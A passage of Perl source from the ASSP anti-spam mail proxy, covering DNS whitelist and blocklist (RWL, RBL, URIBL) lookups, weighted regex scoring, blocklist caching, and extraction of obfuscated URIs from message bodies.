        $this->{nodamping} = 1;
        $this->{rwlok} = '';
        return 0;
    } elsif ($this->{rwlok} == 4) {   # RWL none
        $this->{rwlok} = '';
        return 0;
    }
    $this->{rwlok} = '';
    return 1 if pbWhiteFind($ip) && !$RWLwhitelisting;
    my $trust;
    my ($rwls_returned,@listed_by,$rwl,$received_rwl,$time,$err);
    if ($noRWL && matchIP($ip,'noRWL',$fh)) {
        $this->{myheader}.="X-Assp-Received-RWL: lookup skipped (noRWL sender)\r\n" if $AddRWLHeader;
        return 1;
    }

    &sigoff(__LINE__);
    $rwl = eval{
        RBL->new(
            lists       => [@rwllist],
            server      => \@nameservers,
            max_hits    => $RWLminhits,
            max_replies => $RWLmaxreplies,
            query_txt   => 0,
            max_time    => $RWLmaxtime,
            timeout     => 2
        );
    };
    # add exception check
    if ($@ || ! ref($rwl)) {
        &sigon(__LINE__);
        mlog($fh,"RWLok: error - $@" . ref($rwl) ? '' : " - $rwl");
        return;
    }
    my $lookup_return = eval{$rwl->lookup($ip,"RWL");};
    mlog($fh,"error: RWL check failed : $lookup_return") if ($lookup_return && $lookup_return ne 1);
    mlog($fh,"error: RWL lookup failed : $@") if ($@);
    my @listed=eval{$rwl->listed_by();};
    &sigon(__LINE__);
    return 0 if $lookup_return ne 1;
    my $status;
    foreach (@listed) {
        if ($_ =~ /hostkarma\.junkemailfilter\.com/io && $rwl->{results}->{$_} !~ /127\.0\.\d+\.1/o) {
            next;
        } else {
            push @listed_by, $_;
        }
    }
    $rwls_returned=$#listed_by+1;
    if ($rwls_returned>=$RWLminhits) {
        $trust=2;
        my $ldo_trust;

        foreach (@listed_by) {
            my %categories = (
                      2 => 'Financial services',
                      3 => 'Email Service Providers',
                      4 => 'Organisations',
                      5 => 'Service/network providers',
                      6 => 'Personal/private servers',
                      7 => 'Travel/leisure industry',
                      8 => 'Public sector/governments',
                      9 => 'Media and Tech companies',
                     10 => 'some special cases',
                     11 => 'Education, academic',
                     12 => 'Healthcare',
                     13 => 'Manufacturing/Industrial',
                     14 => 'Retail/Wholesale/Services',
                     15 => 'Email Marketing Providers'
            );
            $received_rwl.="$_->". $rwl->{results}->{$_};
            if ($_ =~ /list\.dnswl\.org/io && $rwl->{results}->{$_} =~ /127\.\d+\.(\d+)\.(\d+)/o) {
                $ldo_trust = $2;
                $received_rwl.=",trust=$ldo_trust (category=$categories{$1});";
            } else {
                $received_rwl.="; ";
            }
        }
        $trust = $ldo_trust if ($ldo_trust > $trust or ($ldo_trust =~ /\d+/o && $rwls_returned == 1));
        $received_rwl.=") - high trust is $trust - client-ip=$ip";
        $received_rwl = "Received-RWL: ".(($trust>0)?"whitelisted ":' ')."from (" . $received_rwl;
        mlog($fh,$received_rwl,1) if $RWLLog;
        $this->{rwlok}=$trust if $trust>0;
        $this->{nodamping} = 1;
        pbBlackDelete($fh,$ip) if $fh;
        RBLCacheDelete($ip) if $fh;
        $this->{myheader}.="X-Assp-$received_rwl\015\012" if $AddRWLHeader;
        $this->{whitelisted}=1 if $trust>2 && $RWLwhitelisting;
        RWLCacheAdd($ip,($trust > 2) ? 3 : ($trust == 0) ? 2 : 1 ) ;
        $status = ($trust > 2) ? 3 : ($trust == 0) ? 2 : 1 ;
        pbWhiteAdd($fh,$ip,"RWL") if $trust>1 && $fh;
        return ($trust == 0) ? 0 : 1;
    } elsif ($rwls_returned>0) {
        $received_rwl="Received-RWL: listed from @listed_by; client-ip=$ip";
        mlog($fh,$received_rwl,1) if $RWLLog;
        $this->{nodamping} = 1;

        RWLCacheAdd($ip,2);
        $status = 2;
    } else {
        $received_rwl="Received-RWL: listed from none; client-ip=$ip";
        mlog($fh,$received_rwl,1) if $RWLLog>=2;

        RWLCacheAdd($ip,4);
        $status = 4;
    }
    if (! $fh) {
        $this->{messagereason} = $received_rwl;
        $this->{rwlstatus} = $status;
    }
    return 0;
}


sub addtowhitelist {
    my ($fh, $adr) = @_;
    my $this = $Con{$fh};
	$adr = lc $this->{mailfrom} if !$adr;
  	$adr = batv_remove_tag($fh,$adr,'');
	if (length($adr) < 50  && $adr && $adr !~ /^SRS/i && !$this->{red} && 		!$Redlist{$adr}) {
		$Whitelist{$adr} = time;
    	$this->{whitelisted}=1;    }
}

sub weightRBL {
    my $v = shift;
    if ($v) {
        return $v if $v >= 6;
        $v = int (${'rblValencePB'}[0] / $v + 0.5);
    }
    return $v if $v;

    return ${'rblnValencePB'}[0] ;
}

sub weightURI {
    my $v = shift;
    if ($v) {
        return $v if $v >= 6;
        $v = int ($URIBLmaxweight / $v + 0.5);
    }
    return $v if $v;
    return int($URIBLmaxweight / $URIBLmaxhits + 0.5) if $URIBLmaxweight && $URIBLmaxhits;
    return ${'uriblValencePB'}[0] ;
}


sub weightReSL {
    my ($valence,$name,$kk,$subre) = @_;
    my $key = ref $kk ? $$kk : $kk;
    my $cvalence;
    my $weight;
    my $found;
    my $count = 0;
    foreach my $k (@{$name.'WeightRE'}) {
        if ($subre eq $k) {
            $weight = ${$name.'Weight'}[$count];
            $found = 1;
            mlog(0,"info: weighted regex ($name) result found for '$subre' - with '$key' - weight is $weight") if $regexLogging==2;
            $weightMatch .= ' , ' if $weightMatch;
            $weightMatch .= $k;
            last;
        }
        $count++;
    }
	$valence = ${$valence}[0] if $valence =~ /ValencePB$/o;
    return $valence unless $found;
    eval{$cvalence = int($valence * $weight);};
    return $valence if $@;
    return $cvalence if abs($weight) <= 6;
    return $weight;
}

sub weightRe {
    my ($valence,$name,$kk,$fh) = @_;
    my $key = ref $kk ? $$kk : $kk;                                          # bombs, ptr, helo only
    my $this = ($fh && defined $Con{$fh} && $name =~ /bomb|script|black|Reversed|Helo/o) ? $Con{$fh} : undef;
    my $cvalence;
    my $weight;
    my $found;
    my $count = 0;
    foreach my $k (@{$name.'WeightRE'}) {
        $k =~ s/^\{([^\}]*)\}(.*)$/$2/o;
        my $how = $1 ? $1 : '';
        ++$count and next unless $k;

        if ($how && $this) {
            ++$count and next if ($this->{noprocessing}  && $how =~ /[nN]\-/o);
            ++$count and next if ($this->{whitelisted}   && $how =~ /[wW]\-/o);   #never
            ++$count and next if ($this->{relayok}       && $how =~ /[lL]\-/o);
            ++$count and next if ($this->{ispip}         && $how =~ /[iI]\-/o);

            ++$count and next if (!$this->{noprocessing} && $how =~ /[nN]\+/o);
            ++$count and next if (!$this->{whitelisted}  && $how =~ /[wW]\+/o);   #only
            ++$count and next if (!$this->{relayok}      && $how =~ /[lL]\+/o);
            ++$count and next if (!$this->{ispip}        && $how =~ /[iI]\+/o);
        }



        if ($this && $name =~ /Reversed/o) {         # ptr
            ++$count and next if (!$DoReversedNP    && $this->{noprocessing}  && $how !~ /[nN]\+?/o);
            ++$count and next if (!$DoReversedWL    && $this->{whitelisted}   && $how !~ /[wW]\+?/o);   #config
        }



        if ($key =~ /$k/i) {
            $weight = ${$name.'Weight'}[$count];
            $found = 1;
            mlog(0,"info: weighted regex ($name) result found for '$key' - with '$k' - weight is $weight") if $regexLogging && $fh;
            $weightMatch .= ' , ' if $weightMatch;
            $weightMatch .= $k;
            last;
        }
        $count++;
    }

    $valence = ${$valence}[0] if $valence =~ /ValencePB$/o;
    return $valence unless $found;
    eval{$cvalence = int($valence * $weight);};
    return $valence if $@;
    return $cvalence if abs($weight) <= 6;
    return $weight;
}

sub HighWeightSL {
    my ($t,$re) = @_;

    my $text = ref $t ? $$t : $t;
    my %weight = ();
    my %found = ();
    my $weightsum = 0;
    my $weightcount = 0;
    my $regex = ${ $MakeSLRE{$re} };
    my $itime = time;
	my $count = 0;


	eval {
      local $SIG{ALRM} = sub { die "__alarm__\n" };
      alarm($maxBombSearchTime + 5);
      foreach my $regex ( @{$re.'WeightRE'}) {

      	  next if  $text !~ /($regex)/s;
          my $subre = $1;
     
          last if time - $itime >= $maxBombSearchTime;
          my $valence = ${$WeightedRe{$re}};
          
          my $w = &weightReSL($valence,$re,$subre,$regex);
          
          mlog(0," weighted regex for '$re' is '$subre=>$w' ") if $regexLogging >= 2;
  
          next unless $w;
          $subre =~ s/\s+/ /g;
          next if ($found{lc($subre)} > 0 && $found{lc($subre)} >= $w);
          next if ($found{lc($subre)} < 0 && $found{lc($subre)} <= $w);
          $found{lc($subre)} = $w;
          $subre = substr($subre,0,$RegExLength < 5 ? 5 : $RegExLength) if $subre;
          $weightsum += $w;
          $weightcount++;
          if (abs($w) >= abs($weight{highval})) {
              $weight{highval} = $w;
              $subre =~ s{([\x00-\x1F])}{sprintf("'hex %02X'", ord($1))}eog;
              $subre = '[empty]' unless $subre;
              $weight{highnam} = $subre;
          }
          
#          last if abs($w) >= abs($valence); 


      }
      alarm(0);
    };
    $itime = time - $itime;
    if ($@) {
        alarm(0);
        return 0;
    
    }


            
    return ($weight{highnam},$weight{highval});
}




# do RBL checks


sub RBLOK {

    my ($fh,$ip,$done) = @_;
    my $this = $Con{$fh};
    my $reason;
    my $rblweighttotal;
    my $rblValencePB = ${'rblValencePB'}[0];
	my $rblnValencePB = ${'rblnValencePB'}[0];
	return 1 if $this->{notspamtag};
    return 1 if $this->{addressedToSpamBucket};
	$ip = $this->{ip};
    $ip = $this->{cip} if$this->{cip};
    return 1 if $this->{rbldone};
    $this->{rbldone} = 1;

	return 1 if $ip =~ /$IPprivate/;

    d('RBLOK');
    return 1 if ! $ValidateRBL;
    return 1 if ! $CanUseRBL;
    return 1 if ! @rbllist;
    return 1 if $this->{rwlok};
    return 1 if $this->{relayok};
	return 1 if $this->{whitelisted} && !$RBLWL;
	return 1 if $this->{noprocessing} && !$RBLNP;
    return 1 if $this->{ispip} && !$this->{cip};
    $this->{noblockingips} = 1 if matchIP( $ip, 'noBlockingIPs', 0, 1 );
    return 1 if $this->{noblockingips} ;
	return 1 if $this->{contentonly} && !$this->{cip};
	my $w;
    return 1 if $this->{whitelisted} && !$RBLWL;
    return 1 if $noRBL && matchIP( $ip, 'noRBL', 0, 1 );
	my ( $ct, $mm, $status, @rbl ) = split( ' ', $RBLCache{$ip} );
    return 1 if $status==2;

    my $slok         = $this->{allLoveRBLSpam} == 1;
    my $mValidateRBL = $ValidateRBL;

    $this->{testmode} = $rblTestMode || $allTestMode;
    

    my $tlit = &tlit($mValidateRBL);
    $this->{prepend} = "[DNSBL]";

    &sigoff(__LINE__);
    my $rbl = eval {
        RBL->new(
            lists       => [@rbllist],
            server      => \@nameservers,
            max_hits    => $RBLmaxhits,
            max_replies => $RBLmaxreplies,
            query_txt   => 1,
            max_time    => $RBLmaxtime,
            timeout     => $RBLsocktime
        );
    };

   # add exception check
    if ($@ or ! ref($rbl)) {
        &sigon(__LINE__);
        mlog($fh,"RBLOK: error - $@" . ref($rbl) ? '' : " - $rbl");
        return 1;
    }

    my ( $received_rbl, $rbl_result, $lookup_return );
    $lookup_return = eval{$rbl->lookup( $ip, "RBL" );};
    &sigon(__LINE__);
    mlog($fh,"error: RBL check failed : $lookup_return") if ($lookup_return && $lookup_return ne 1);
    mlog($fh,"error: RBL lookup failed : $@") if ($@);
    return 1 if ($lookup_return ne 1);

    my @listed_by = eval{$rbl->listed_by();};
    my $rbls_returned = $#listed_by + 1;
    my $ok = '';
    my $dhores;
    my $dhofact;
    my $daysact;
    my $score;
    my $rscore;
    my $htype;
    my $pbval;
    my %search_engines;
    if ( $rbls_returned > 0 ) {

        foreach (@listed_by) {

            if ($rbl->{results}->{$_} =~ /(127\.\d+\.\d+\.\d+)/o) {
                $w = matchHashKey($rblweight{$_},$1) if $rblweight{$_};
                if ($w) {
                    $rblweighttotal += weightRBL($w) if $w;
                } else {
                    $rbls_returned--;
                }
                $ok = '';
            } else {
                if ($rblweight{$_}{'*'}) {
                    $rblweighttotal += weightRBL($rblweight{$_}{'*'});
                } else {
                    $rbls_returned--;
                }
                $ok = '';
            }
        }


        if ($ok) {
            mlog($fh, "DNSBL: pass - $ok - search engine reported by dnsbl.httpbl.org ($dhores)") if ($RBLLog >= 2 || $RBLLog && $mValidateRBL >= 2 );
            RBLCacheAdd( $ip,  "2") if $RBLCacheExp > 0;
            return 1;
        }

        my $rblweight = $rblValencePB;
        my $rblweightn = $rblnValencePB;
        $rblweight = $rblweightn = int($rblweighttotal) if $rblweighttotal;

        $reason = $this->{messagereason} = '';

        if ( $rbls_returned >= $RBLmaxhits && !$RBLhasweights || $rblweighttotal >= ${'rblValencePB'}[0]) {
            delayWhiteExpire($fh);
            pbWhiteDelete( $fh, $ip );
            $this->{messagereason} = "DNSBL: failed, $ip listed in @listed_by";
   
            pbAdd( $fh, $ip, $rblweight, "DNSBLfailed" )
              if $mValidateRBL != 2;
            $this->{newsletterre} = '';
            $tlit = "[scoring:$rblweight]" if $mValidateRBL == 3;
            $received_rbl = "DNSBL: failed, $ip listed in (";
        } elsif ($rbls_returned > 0) {
			pbWhiteDelete( $fh, $ip );
            delayWhiteExpire($fh);
            $this->{messagereason} = "DNSBL: neutral, $ip listed in @listed_by";
            $this->{prepend}       = "[DNSBL]";
            $this->{newsletterre} = '';
            mlog( $fh, "[scoring:$rblweightn] DNSBL: neutral, $ip listed in @listed_by" )
              if ( $RBLLog && $mValidateRBL == 1 );
            pbAdd( $fh, $ip, $rblweightn, "DNSBLneutral" )
              if $mValidateRBL != 2;
            $this->{rblneutral} = 1;
            $this->{newsletterre} = '';
            $received_rbl = "DNSBL: neutral, $ip listed in (";
        } else {
            RBLCacheAdd( $ip,  "2") if $RBLCacheExp > 0;
            return 1;
        }
        my @temp = @listed_by;
        foreach (@temp) {
            $received_rbl .= "$_<-" . $rbl->{results}->{$_} . "; ";
            $_ .= '{' . $rbl->{results}->{$_} . '}';

        }
        $received_rbl .= ")";
        RBLCacheAdd( $ip,  "1", "@temp" ) if $RBLCacheExp > 0;
    } else {
        RBLCacheAdd( $ip,  "2") if $RBLCacheExp > 0;
        return 1;
    }
    mlog( $fh, "$tlit ($received_rbl)" ) if $received_rbl ne "DNSBL: pass" && ($RBLLog >= 2 || $RBLLog && $mValidateRBL >= 2 );

    return 1 if $mValidateRBL == 2;

    # add to our header; merge later, when client sent own headers
    $this->{myheader} .= "X-Assp-$received_rbl\r\n"
      if $AddRBLHeader && $received_rbl ne "DNSBL: pass" && $this->{myheader} !~ /DNSBL/;

    if ( $rbls_returned >= $RBLmaxhits && !$rblweighttotal || $rblweighttotal >= ${'rblValencePB'}[0]) {
        my $slok = $this->{allLoveRBLSpam} == 1;
        $Stats{rblfails}++;

        return 1 if $mValidateRBL == 3;
		my $reply = $SpamError;
		$reply =~ s/REASON/DNSBL Listed in @listed_by/go;                
        $reply = replaceerror ($fh, $reply);
        $this->{prepend} = "[DNSBL]";
        $this->{newsletterre}		= '';

        thisIsSpam( $fh, "DNSBL, $ip listed in @listed_by",
            $RBLFailLog, "$reply", $rblTestMode, $slok, $done );
        return 0;
    }
    return 1;
}

sub RBLCacheOK {
    my ($fh,$ip,$done) = @_;
    my $this = $Con{$fh};
    return 1 if $this->{notspamtag};
    return 1 if $this->{addressedToSpamBucket};
	$ip = $this->{ip};
    $ip = $this->{cip} if $this->{cip};
    return 1 if $this->{rblcachedone};
    $this->{rblcachedone} = 1;

    d('RBLCacheOK');

    return 1 if $ip =~ /$IPprivate/;

	return 1 if $this->{ispip} && !$this->{cip};
	$this->{noblockingips} = 1 if matchIP( $ip, 'noBlockingIPs', 0, 1 );
    return 1 if $this->{noblockingips};
	return 1 if $this->{contentonly} && !$this->{cip};
    return 1 if !$ValidateRBL;
	return 1 if $this->{whitelisted} && !$RBLWL;
	return 1 if $this->{noprocessing} && !$RBLNP;
    return 1 if $noRBL && matchIP( $ip, 'noRBL', 0, 1 );


    return 1 if !( exists $RBLCache{$ip} );
    return 1 if !$RBLCacheExp;
    return 1 if exists $PBWhite{$ip};

  

    return 1 if $this->{acceptall};
    return 1 if $this->{relayok};
    return 1 if $this->{rwlok};

    my $slok         = $this->{allLoveRBLSpam} == 1;
    my $mValidateRBL = $ValidateRBL;

	$this->{testmode} = $rblTestMode || $allTestMode;
   
    my $tlit = &tlit($mValidateRBL);
    $this->{rbldone} = 1;
 	
    my $tlit = &tlit($mValidateRBL);

    my ( $ct, $mm, $status, @rbl ) = split( ' ', $RBLCache{$ip} );
    
    return 1 if $status==2;

    $this->{prepend} = "[DNSBL]";

    my $rbls_returned = $#rbl + 1;
    my ($rbllists,$rblweight, $rblweightn, $rblweighttotal);

    foreach (@rbl) {
		if ($rblweight{$_} && s/(.+?)\{(.+?)\}/$1/io) {
            
            my $w = matchHashKey($rblweight{$_},$2) if $rblweight{$_};
             
            $rblweighttotal += weightRBL($w) if $w;

        } else {
            $rblweighttotal += weightRBL($rblweight{$_}{'*'}) if $rblweight{$_}{'*'};
        }
        $rbllists .= "$_, ";
    }
    $rbllists =~ s/, $//o;

    $rblweight = $rblValencePB;
    $rblweightn = $rblnValencePB;
    $rblweight = $rblweightn = $rblweighttotal if $rblweighttotal;
	
    $this->{messagereason} = $rbllists;

    $this->{messagereason} = "$ip listed in DNSBLcache by $rbllists";
    $tlit = "[scoring:$rblweight]" if $mValidateRBL == 3;
    mlog( $fh, "$tlit ($this->{messagereason} at $mm)" )
    					if $RBLLog >= 2 or $RBLLog && $mValidateRBL >= 2;
    
    return 1 if $mValidateRBL == 2;
 
        # add to our header; merge later, when client sent own headers

    if ( $rbls_returned >= $RBLmaxhits && !$RBLhasweights || $rblweighttotal >= $rblValencePB) {
            pbWhiteDelete( $fh, $ip );
            delayWhiteExpire($fh);
			$this->{newsletterre} = '';
            $this->{messagereason} = "DNSBLcache: failed, $ip listed in $rbllists";
            pbAdd( $fh, $ip, $rblweight, "DNSBLfailed" )
              if $mValidateRBL != 2;
            
     } else {
            pbWhiteDelete( $fh, $ip );
            $this->{messagereason} = "DNSBLcache: neutral, $ip listed in $rbllists";
            $this->{prepend}       = "[DNSBL]";
            $this->{newsletterre} = '';
            mlog( $fh, "[scoring:$rblweightn] $this->{messagereason}" )
              if ( $RBLLog && $mValidateRBL == 1 );
            pbAdd( $fh, $ip, $rblweightn, "DNSBLneutral" )
            	if $mValidateRBL != 2;
            $this->{newsletterre} = '';
              
            $this->{rblneutral} = 1;
  
     }


    return 1 if $mValidateRBL == 2;
    
    # add to our header; merge later, when client sent own headers
    $this->{myheader} .= "X-Assp-$this->{messagereason}\r\n" if $AddRBLHeader && $this->{myheader} !~ /DNSBL/;

    return 1 if $mValidateRBL == 3 or $this->{rblneutral} ;
    $Stats{rblfails}++ unless $slok;
    my $reply = $SpamError;
	$reply =~ s/REASON/DNSBL listed in $rbllists/go;                
    $reply = replaceerror ($fh, $reply);
    $this->{newsletterre}		= '';

    thisIsSpam( $fh, "$this->{messagereason}", $RBLFailLog, "$reply", $rblTestMode, $slok, $done );

    return 0;
}

sub RBLCacheAdd {
    my ( $ip, $status, $rbllists) = @_;
    my $t = time;
    my ( $sec, $min, $hour, $mday, $mon, $year ) = localtime(time);
    $mon++;
    $year += 1900;
    my $mm = sprintf( "%04d-%02d-%02d/%02d:%02d:%02d", $year, $mon, $mday, $hour, $min, $sec );
    my $data = "$t $mm $status $rbllists";
    $RBLCache{$ip} = $data;
}

#
sub RBLCacheDelete {
    return if !$RBLCacheExp;
    my $ip = shift;
    return unless ($RBLCacheObject);
    delete $RBLCache{$ip};
  }
sub RBLCache2Delete {
    return if !$RBLCacheExp;
    my $ip = shift;
    return unless ($RBLCacheObject);
    my $ct;
    my $datetime;
    my $status;
    my @sp;
    if ( ( $ct, $datetime, $status, @sp ) = split( ' ', $RBLCache{$ip} ) ) {
        if ($status == 2) {
            delete $RBLCache{$ip};

        }

    }
  }
#
sub RBLCacheFind {
    my $ip = shift;
    return if !$RBLCacheExp;
    return unless ($RBLCacheObject);

	my $t = time;
	my $ct;
    my $datetime;
    my $status;
    my @sp;
    if ( ( $ct, $datetime, $status, @sp ) = split( ' ', $RBLCache{$ip} ) ) {
        if (($status != 1 && $status != 2) || $t - $ct >= $RBLCacheExp * 3600 ) 
        {
            delete $RBLCache{$ip};
            return 0;
        }
        my $data = "$t $datetime $status @sp";
    	$RBLCache{$ip} = $data;
        return $status;
    }
    return 0;
}

sub expandRegChar {
    my $char = shift;
    my $ucd = ord(uc($char));
    my $lcd = ord(lc($char));
    my $uch = sprintf "%x", $ucd;
    my $lch = sprintf "%x", $lcd;
       $ucd < 99 and $ucd = '0?' . $ucd;
       $lcd < 99 and $lcd = '0?' . $lcd;
    my $esc = ($char =~ /[a-zA-Z0-9]/) ? '' : '\\';
    my $hex = ($uch eq $lch) ? $uch : "$uch|$lch";
    my $dec = ($ucd eq $lcd) ? $ucd : "$ucd|$lcd" ;
    return '(?i:[\=\%](?i:' . $hex . ')|\&\#(?:' . $dec . ')\;?|' . "$esc$char)(?:\\=(?:\\015?\\012|\\015))?";
}

sub erw {
    my ($word,$quant) = @_;
    my $ret;
    $ret = '(?:' if $quant;
    $ret .= join('', map {&expandRegChar($_)} split('',$word));
    $ret .= ")$quant" if $quant;
    return $ret;
}

# do URIBL checks
sub URIBLok {
    my ( $fh, $bd, $thisip,$done ) = @_;
    my $this = $Con{$fh};
	return 1 if $this->{notspamtag};
#    $TLDSRE = $URIBLTLDSRE if ".com" =~ /\.($URIBLTLDSRE )/i;
    return 1 if !$TLDSRE;

    return 1 if !$CanUseURIBL;
	return 1 if $this->{addressedToSpamBucket};

    return 1 if $this->{uribldone};
    $this->{uribldone} = 1;
    return 1 if !$ValidateURIBL;

    return URIBLok_Run($fh, $bd, $thisip, $done);
}
sub URIBLok_Run {
    my ( $fh, $bd, $thisip, $done ) = @_;
    my $this = $Con{$fh};
    my $fhh = $fh;
    $fh = 0 if "$fh" =~ /^\d+$/o;
    d('URIBLok');


    return 1 if $this->{whitelisted} && !$URIBLWL;
    return 1 if $this->{relayok} && !$URIBLLocal;
    return 1 if $this->{noprocessing} && !$URIBLNP;
    return 1 if $this->{ispip} && !$URIBLISP && !$this->{cip};
    
    $thisip = $this->{cip} if $this->{ispip} && $this->{cip};
	my $URIDomainRe;
	my @URIIPs;
    my $ProtPrefix = <<'EOT';
(?:(?i:[\=\%][46]8|\&\#(?:0?72|104)\;?|h)
(?i:[\=\%][57]4|\&\#(?:0?84|116)\;?|t)
|(?i:[\=\%][46]6|\&\#(?:0?70|102)\;?|f))
(?i:[\=\%][57]4|\&\#(?:0?84|116)\;?|t)
(?i:[\=\%][57]0|\&\#(?:0?80|112)\;?|p)
(?i:[\=\%][57]3|\&\#(?:0?83|115)\;?|s)?
(?:[\=\%]3[aA]|\&\#0?58\;?|\:)
(?:[\=\%]2[fF]|\&\#0?47\;?|\/){2}
EOT
    $ProtPrefix =~ s/\r|\n|\s//g;

    my $UriAt = '(?:\@|[=%]40|\&\#0?64\;?)';
    my $UriIPSectDotRe = '(?:'.$IPSectRe.$UriDot.')';
    my $UriIPRe = $ProtPrefix.'(?:[^\@]*?'.$UriAt.')?'.$UriIPSectDotRe.$UriIPSectDotRe.$UriIPSectDotRe.$IPSectRe;

    my $URISubDelimsCharRe = quotemeta('[!$&\'()*+,;=%^`{}|]'); # relaxed to a few other characters
    if ($URIBLcheckDOTinURI) {
        $URIDomainRe = $UriAt.'?(?:\w(?:[\w\-]|'.$UriDot.'|'.$dot.')*(?:'.$UriDot.'|' . $dot . ')('. $TLDSRE .'))[^\.\w]';
    } else {
        $URIDomainRe = $UriAt.'?(?:\w(?:\w|'.$UriDot.'|\-)*'.$UriDot.'('. $TLDSRE .'))[^\.\w]';
    }

    my $slok = $this->{allLoveURIBLSpam} == 1;
	my $listed_domain;
    my ( %domains, $ucnt, $uri, $mycache, $orig_uri, $i, $ip, $tlit, $uribl, $received_uribl, $uribl_result , $last_mycache, $results_uribl);
    my ( $lookup_return, @listed_by, @last_listed_by, $last_listed_domain, $uribls_returned, $lcnt, $err , $weightsum, %last_results, %results);

    
    my $mValidateURIBL = $ValidateURIBL;


    $tlit = &tlit($mValidateURIBL);
    $this->{prepend} = "[URIBL]";

    if ($noURIBL
        && $this->{mailfrom}
        && matchSL( $this->{mailfrom}, 'noURIBL' ) ) {
        mlog( $fh, "URIBL lookup skipped (noURIBL sender)", 1 )
          if $URIBLLog >= 2;
        return 1;
    }

    my $data = &cleanMIMEBody2UTF8($bd);
    $data =~ s/\=(?:\015?\012|\015)//go;
    $data =~ s/href\=3[dD]/href\=/go;
    $data =~ s/\&\#12290\;/./go;
    $data = decHTMLent($data);
    if ($data) {
        my $head = &cleanMIMEHeader2UTF8($bd,1);
        $head =~ s/\nto:$HeaderValueRe/\n/gios;
        $head =~ s/received:$HeaderValueRe//gios;
        $head =~ s/Message-ID:$HeaderValueRe//gios;
        $head =~ s/References:$HeaderValueRe//gios;
        $head =~ s/In-Reply-To:$HeaderValueRe//gios;
        $head =~ s/X-Assp-[^:]+?:$HeaderValueRe//gios;
        $head =~ s/bcc:$HeaderValueRe//gios;
        $head =~ s/cc:$HeaderValueRe//gios;
        $head =~ s/[\x0D\x0A]*$/\x0D\x0A\x0D\x0A/o;
        $head = &cleanMIMEHeader2UTF8($head,0);
        headerUnwrap($head);
        $data = $head . $data;
    }
 	my ($fdom,$dom);
 	my $SKIPURIRE = qr/$URIBLWLDRE|$NPDRE|$WLDRE/;

    

    while ( $data =~ /($URIDomainRe|$UriIPRe)/gi ) {
            $uri = $1;
            d("found raw URI: $uri");
            mlog($fh,"info: found raw URI/URL $uri") if ($URIBLLog == 3);
            $uri =~ s/[^\.\w]$//o if $uri !~ /$UriIPRe/o;
            $uri =~ s/^$ProtPrefix//o;
            $uri =~ s/$UriAt/@/go;
            $uri =~ s/^\@//o;
#            $uri =~ s/\=(?:\015?\012|\015)\.?//go;
            $uri =~ s/(?:$URISubDelimsCharRe|\.)+$//o;
            $uri =~ s/\&(?:nbsp|amp|quot|gt|lt|\#0?1[03]|\#x0[da])\;?.*$//io;
            $uri =~ s/[\=\%]2[ef]|\&\#0?4[67]\;?/./gio;
            $uri =~ s/\.{2,}/\./go;
            $uri =~ s/^\.//o;
            $orig_uri = $uri;

            if ($URIBLcheckDOTinURI) {
                my $ouri = $uri;
                mlog($fh,"replaced URI '$ouri' with '$uri'")
                  if ($uri =~ s/$dot/\./igo && $URIBLLog >= 2);
            }
            $uri =~ s/[%=]([a-f0-9]{2})/chr(hex($1))/gieo;                          # decode percents
            $uri =~ s/\&\#(\d+)\;?/decHTMLentHD($1)/geo;                            # decode &#ddd's
            $uri =~ s/([^\\])?\\(\d{1,3});?/$1.decHTMLentHD($2,'o')/geio;           # decode octals
            $uri =~ s/\&\#x([a-f0-9]+)\;?/decHTMLentHD($1,'h')/geio;                # decode &#xHHHH's
            # strip redundant dots
            $uri =~ s/\.{2,}/\./go;
            $uri =~ s/^\.//o;
            $uri =~ s/$URISubDelimsCharRe//go;
            $dom = '';
            if ($uri !~ /$IPRe/o) {
                $dom  = $1 if $uri =~ /(?:[^\.]+?\.)?([^\.]+\.[^\.]+)$/o;
                next if $dom && localdomains($dom);
                next if localdomains($uri);
            }
            mlog($fh,"info: found URI $uri")
                if (($URIBLLog == 2 && ! exists $domains{ lc $uri }) or $URIBLLog == 3);

            next if $uri =~ /$SKIPURIRE/;
            next if "\@$uri" =~ /$SKIPURIRE/;

            my $obfuscated = 0;
            if ( $uri =~ /$IPv4Re/o && $uri =~ /^$IPQuadRE$/io ) {
                $i = $ip = undef;
                while ( $i < 10 ) {
                    $ip = ( $ip << 8 ) + oct( ${ ++$i } ) + hex( ${ ++$i } ) + ${ ++$i };
                }
                $uri = inet_ntoa( pack( 'N', $ip ) );
                if ( $URIBLNoObfuscated && $orig_uri !~ /^\Q$uri\E/i ) {
                    $this->{obfuscatedip} = $obfuscated = 1;
                    mlog($fh,"info: URIBL - obfuscated IP found $uri - org IP: $orig_uri") if ($URIBLLog >=2);
                }
                mlog($fh,"info: registered IP-URI $uri for check")
                    if (($URIBLLog == 2 && ! exists $domains{ lc $uri }) or $URIBLLog == 3);
                push @URIIPs , $uri if $URIBLIPRe;
            } else {
                if ( $URIBLNoObfuscated && $orig_uri !~ /^\Q$uri\E/i ) {

                    $this->{obfuscateduri} = $obfuscated = 1;
                    mlog($fh,"info: URIBL - obfuscated URI found $uri - org URI: $orig_uri") if ($URIBLLog >=2);
                }
                push @URIIPs , getRRA($uri) if $URIBLIPRe;
                if ( $uri =~ /([^\.]+$URIBLCCTLDSRE)$/ ) {
                    $uri = $1;
                    next if $uri =~ /$SKIPURIRE/;
                    next if "\@$uri" =~ /$SKIPURIRE/;
                    push @URIIPs , getRRA($uri) if $URIBLIPRe;
                    mlog($fh,"info: registered TLD(2/3) URI $uri for check")
                        if (($URIBLLog == 2 && ! exists $domains{ lc $uri }) or $URIBLLog == 3);
                } elsif ($uri =~ /([^\.]+\.($TLDSRE))$/oi ) {
                    $uri = $1;
                    next if $uri =~ /$SKIPURIRE/;
                    next if "\@$uri" =~ /$SKIPURIRE/;
                    push @URIIPs , getRRA($uri) if $URIBLIPRe;
                    mlog($fh,"info: registered TLD URI $uri for check")
                        if (($URIBLLog == 2 && ! exists $domains{ lc $uri }) or $URIBLLog == 3);
                } else {
                    next;
                }
            }


            if ( $URIBLmaxuris && ++$ucnt > $URIBLmaxuris ) {
                $this->{maximumuri} = 1;
                last;
            }

            if ( ! $domains{ lc $uri }++ ) {
                $domains{ lc $uri } += $obfuscated * 1000000;
                if ( $URIBLmaxdomains && scalar keys(%domains) > $URIBLmaxdomains ) {
                    $this->{maximumuniqueuri} = 1;
                    last;
                }
            }
    }
    if (! scalar keys(%domains)) {
        mlog($fh,"no URI's to check found in mail") if ($URIBLLog>=2);
		return 1;
    }

    my $urinew = eval {
        RBL->new(
            lists       => [@uribllist],
            server      => \@nameservers,
            max_hits    => $URIBLmaxhits,
            max_replies => $URIBLmaxreplies,
            query_txt   => 1,
            max_time    => $URIBLmaxtime,
